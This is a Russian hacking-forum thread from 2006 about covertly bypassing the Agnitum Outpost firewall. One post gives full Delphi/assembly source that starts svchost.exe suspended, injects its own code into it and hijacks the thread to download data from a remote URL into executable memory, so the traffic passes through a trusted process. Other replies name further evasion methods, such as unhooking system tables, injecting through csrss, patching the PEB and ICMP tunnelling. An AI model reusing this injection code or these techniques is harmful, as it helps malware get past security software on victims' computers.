обход agnituma

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by asm33, 2 May 2006.

  1. asm33

    asm33 Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    55
    Likes Received:
    7
    Reputations:
    4
    народ, у кого есть идеи как обойти agnitum outpost,
    желательно без палева.
     
  2. tip4ik

    tip4ik Member

    Joined:
    14 Jan 2006
    Messages:
    26
    Likes Received:
    6
    Reputations:
    0
    у меня: последний никак
    (не долго же ты рылся по форуму...)
     
  3. x-ultra-x

    x-ultra-x Elder - Старейшина

    Joined:
    5 Oct 2005
    Messages:
    45
    Likes Received:
    7
    Reputations:
    -2
  4. asm33

    asm33 Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    55
    Likes Received:
    7
    Reputations:
    4
    статейка интересна. Гемор обеспечен, но по моему в версии 3.5 эта штука исправлена.
    по моему легче просто грохнуть приложение с его сервисом
     
  5. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    ага... как только попытаешься он тя блокирует + выдает сообщение
     
  6. Ник

    Ник New Member

    Joined:
    6 Jun 2006
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    А что, старый добрый способ отменили?
    {
    Firewall Fucker - пример обхода фаерволла.
    Copyright by Ms-Rem ([email protected]) ICQ 286370715
    }
    program FireFuck;

    uses
    Windows, WinSock;

    {$IMAGEBASE $13140000}

    { Определение положения подстроки в строке }
    Function MyPos(Substr, Str: PChar): dword; stdcall;
    asm
    mov eax, Substr
    mov edx, str
    test eax, eax
    je @noWork
    test edx, edx
    je @stringEmpty
    push ebx
    push esi
    push edi
    mov esi, eax
    mov edi, edx
    push eax
    push edx
    call lstrlen
    mov ecx, eax
    pop eax
    push edi
    push eax
    push eax
    call lstrlen
    mov edx, eax
    pop eax
    dec edx
    js @fail
    mov al, [esi]
    inc esi
    sub ecx, edx
    jle @fail

    @loop:
    repne scasb
    jne @fail
    mov ebx, ecx
    push esi
    push edi
    mov ecx, edx
    repe cmpsb
    pop edi
    pop esi
    je @found
    mov ecx, ebx
    jmp @loop

    @fail:
    pop edx
    xor eax, eax
    jmp @exit

    @stringEmpty:
    xor eax, eax
    jmp @noWork

    @found:
    pop edx
    mov eax, edi
    sub eax, edx

    @exit:
    pop edi
    pop esi
    pop ebx

    @noWork:
    end;

    { Копирование строк }
    Function MyCopy(S:pChar; Index, Count: Dword): PChar; stdcall;
    asm
    mov eax, Count
    inc eax
    push eax
    push LPTR
    call LocalAlloc
    mov edi, eax
    mov ecx, Count
    mov esi, S
    add esi, Index
    dec esi
    rep movsb
    end;

    { Копирование участка памяти }
    procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
    asm
    push ecx
    push esi
    push edi
    mov esi, Source
    mov edi, Destination
    mov ecx, Length
    rep movsb
    pop edi
    pop esi
    pop ecx
    end;


    Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
    var
    Buffer: pointer;
    BufferLength: dword;
    BufferUsed: dword;
    Bytes: integer;
    Header: PChar;
    Site: PChar;
    URL: PChar;
    FSocket: integer;
    SockAddrIn: TSockAddrIn;
    HostEnt: PHostEnt;
    Str: PChar;
    WSAData: TWSAData;
    hHeap: dword;
    begin
    Result := nil;
    hHeap := GetProcessHeap();
    WSAStartup(257, WSAData);
    Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
    URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
    Buffer := HeapAlloc(hHeap, 0, 1024);
    try
    BufferLength := 1024;
    BufferUsed := 0;
    FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    SockAddrIn.sin_family := AF_INET;
    SockAddrIn.sin_port := htons(80);
    SockAddrIn.sin_addr.s_addr := inet_addr(Site);
    if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    begin
    HostEnt := gethostbyname(Site);
    if HostEnt = nil then Exit;
    SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
    end;
    if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
    Str := HeapAlloc(hHeap, 0, 1024);
    lstrcpy(Str, 'GET ');
    lstrcat(Str, URL);
    lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
    lstrcat(Str, Site);
    lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
    send(FSocket, Str^, lstrlen(Str), 0);
    HeapFree(hHeap, 0, Str);
    repeat
    if BufferLength - BufferUsed < 1024 then
    begin
    Inc(BufferLength, 1024);
    Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
    end;
    Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
    if Bytes > 0 then Inc(BufferUsed, Bytes);
    until (Bytes = 0) or (Bytes = SOCKET_ERROR);
    Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
    ReturnSize := BufferUsed - lstrlen(header);
    Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if Result = nil then Exit;
    MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
    finally
    HeapFree(hHeap, 0, Buffer);
    end;
    end;

    { процедура выполняющаяся в контексте доверенного приложения }
    Procedure Download(); stdcall;
    const
    URL : PChar = 'forum.antichat.ru/newreply.php?do=newreply&p=146170';
    var
    Buff: pointer;
    Size: dword;
    Bytes: dword;
    dFile: dword;
    begin
    LoadLibrary('wsock32.dll');
    Buff := DownloadFile(URL, Size);
    dFile := CreateFile('1.htm', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
    WriteFile(dFile, Buff^, Size, Bytes, nil);
    CloseHandle(dFile);
    ExitProcess(0);
    end;


    var
    St: TStartupInfo;
    Pr: TProcessInformation;
    InjectSize: dword;
    Code: pointer;
    Injected: pointer;
    BytesWritten: dword;
    Context: _CONTEXT;

    begin
    ZeroMemory(@St, SizeOf(TStartupInfo));
    St.cb := SizeOf(TStartupInfo);
    St.wShowWindow := SW_SHOW;
    //запускаем процесс, которому разрешено лезть на 80 порт
    CreateProcess(nil, 'svchost.exe', nil, nil, false,
    CREATE_SUSPENDED, nil, nil, St, Pr);
    Code := pointer(GetModuleHandle(nil));
    InjectSize := PImageOptionalHeader(pointer(integer(Code) +
    PImageDosHeader(Code)._lfanew +
    SizeOf(dword) +
    SizeOf(TImageFileHeader))).SizeOfImage;
    //выделяем память в процессе
    Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //внедряем код
    WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
    //изменяем контекст нити
    Context.ContextFlags := CONTEXT_FULL;
    GetThreadContext(Pr.hThread, Context);
    Context.Eip := dword(@Download);
    SetThreadContext(Pr.hThread, Context);
    //запускаем процесс
    ResumeThread(Pr.hThread);
    end.
     
    1 person likes this.
  7. 3er0

    3er0 Banned

    Joined:
    31 Mar 2006
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -2
    Тунелирование ICMP пакаетами.
     
  8. Cr4sh

    Cr4sh net maniac

    Joined:
    25 Aug 2005
    Messages:
    30
    Likes Received:
    22
    Reputations:
    27
    к сожалению, АБСОЛЮТНО ВСЕ существующие методы обхода базируюцаа на безпалевном инжекте в пердположительно доверенный процесс. У меня была идея написать драйвер, который будет работать напрямую с NDIS, предварительно найдя оригинальные адресса соотв ф-ций (оутпост их хукает ессесно) так что если есть желание/знания - вперёд, геморроя думаю здесь будет намного меньше чем кажеццо

    =)))
     
  9. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    В общем тут такое дело:
    1. Запуск доверенного процесса и соответственно через него и делать все что угодно. Способ хороший, НО!!! Outpost среагирует: минимум - сообщением "Запуск скрытого процесса", в другом случае это "Процесс xxx.exe облокирован" изменения в памяти процесса и т.д.
    2. Dll-injection :D Ну тут слов нет все равно словит. читай 1 пункт 2 случай.
    3. RAW Sockets, тут отдельная речь... Короче все равно поймает.

    По моему единственный вариант это: Грузить приложение до Outposta и вырубать процесс... Почему не внести изменения? Outpost проверяет себя и компоненты на наличие Adware/Spyware и CRC...

    Не знаю я не опытный кодер (да и в протоколах не очень...) по этому еще куча способов... На мой взгляд.
     
    #9 W!z@rD, 13 Jun 2006
    Last edited: 13 Jun 2006
  10. Cr4sh

    Cr4sh net maniac

    Joined:
    25 Aug 2005
    Messages:
    30
    Likes Received:
    22
    Reputations:
    27
    W!z@rD:
    1, 2 - контроль памяти процессов довольно просто обходицца напр. снятием хуков с SST или инжектом через csrss в два прыжка, контроль компонентов лечиццо правкой PEB
    короче эти способы работают без проблем, но только при наличии возможности инжекта в доверенный процесс, да и вообще попса и старьё, нужно что-нибудь новое и более координальное)
    3. равсокеты дефолтно запрещены

    убивать оутпост - просто глупо и некрасиво, да и слишком палевно к тому же (а про геморройность данного яспособа я вообще молчу - из юзермоде ты сервис оутпоста не грохнешь 100%)
     
    #10 Cr4sh, 13 Jun 2006
    Last edited: 13 Jun 2006
  11. asm33

    asm33 Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    55
    Likes Received:
    7
    Reputations:
    4
    вижу дело совсем плохо!!

    Себе поставил Agnitum 4 (неофицальный релиз), "ни взохнуть ни пернуть", ммониторит все и всех. И помоему они просекли фишку с инжекцие кода
     
  12. asm33

    asm33 Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    55
    Likes Received:
    7
    Reputations:
    4
    kaldata.host.bg/www.kaldata.net/Outpost%20Firewall/Outpost%20Firewall%20Pro%204.0.888.559%2032-bit%20Beta%20(kaldata.com).exe если кто захочет то он здесь